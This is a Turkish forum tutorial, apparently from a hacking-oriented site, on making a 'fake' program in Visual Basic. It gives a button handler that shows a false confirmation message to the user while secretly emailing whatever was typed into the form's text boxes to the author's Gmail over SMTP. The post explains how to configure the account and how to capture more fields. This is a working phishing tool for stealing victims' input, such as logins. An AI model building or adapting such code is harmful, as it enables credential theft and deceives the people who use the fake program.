SarrafCorpse

Fake Yapmak

Evet arkadaşlar Visual Basic te Fake Program yapma konusunu iyice bir açalım.

Öncelikle kodları vereyim.


Private Sub Command1_Click() MsgBox "Mailiniz Başarıyla Gönderilmiştir" Dim iMsg, iConf, Flds Set iMsg = CreateObject("CDO.Message") Set iConf = CreateObject("CDO.Configuration") Set Flds = iConf.Fields schema = "http://schemas.microsoft.com/cdo/configuration/" Flds.Item(schema & "sendusing") = 2 Flds.Item(schema & "smtpserver") = "smtp.gmail.com" Flds.Item(schema & "smtpserverport") = 465 Flds.Item(schema & "smtpauthenticate") = 1 Flds.Item(schema & "sendusername") = "Gmail Adresi" Flds.Item(schema & "sendpassword") = "Gmail Şifresi" Flds.Item(schema & "smtpusessl") = 1 Flds.Update With iMsg .To = "Gmail Adresi" .From = "Gmail Adresi" .Subject = "Mail Başlığı" .HTMLbOdy = (Text1.Text + Text2.Text) .Organization = "Mail Organtion" .ReplyTo = "-" Set .Configuration = iConf SendEmailGmail = .Send End With End Sub</body></html>

Kodlarımız bunlar şimdi üzerinde oynayacağımız yerleri belirtiyorum.


MsgBox "Buraya butona tıklandıktan sonra ki hatayı yazınız."

Burada buton 'a tıklandığında ne yazmasını istiyorsanız onu yazıyorsunuz.

Gmail adressi yazan yerlere örnek@gmail.com şeklinde dolduruyoruz.

Gmail şifrenizi yanlış yazarsanız mail göndermeyecektir.

Bir diğer önemli yer ise;

.HTMLbOdy = (Text1.Text + Text2.Text)

Burada bize ne diyor?

Text kutularından 1. ve 2. nin içindekileri yollayacağım diyor.

Bunu artırmak isterseniz 3 - 4 şeklinde şöyle olacaktır.

(Text1.Text + Text2.Text + Text3.Text + Text4.Text)

Peki bu kodları nereye yapıştıracağım derseniz?

Private Sub Command1_Click()

Yani arkadaşlar ilk eklediğimiz butonun içine yapıştırmalıyız.

Ardından fake mize 2 adet Text kutusu yaptığımızda text kutularına yazılan yazılar bize gelecektir.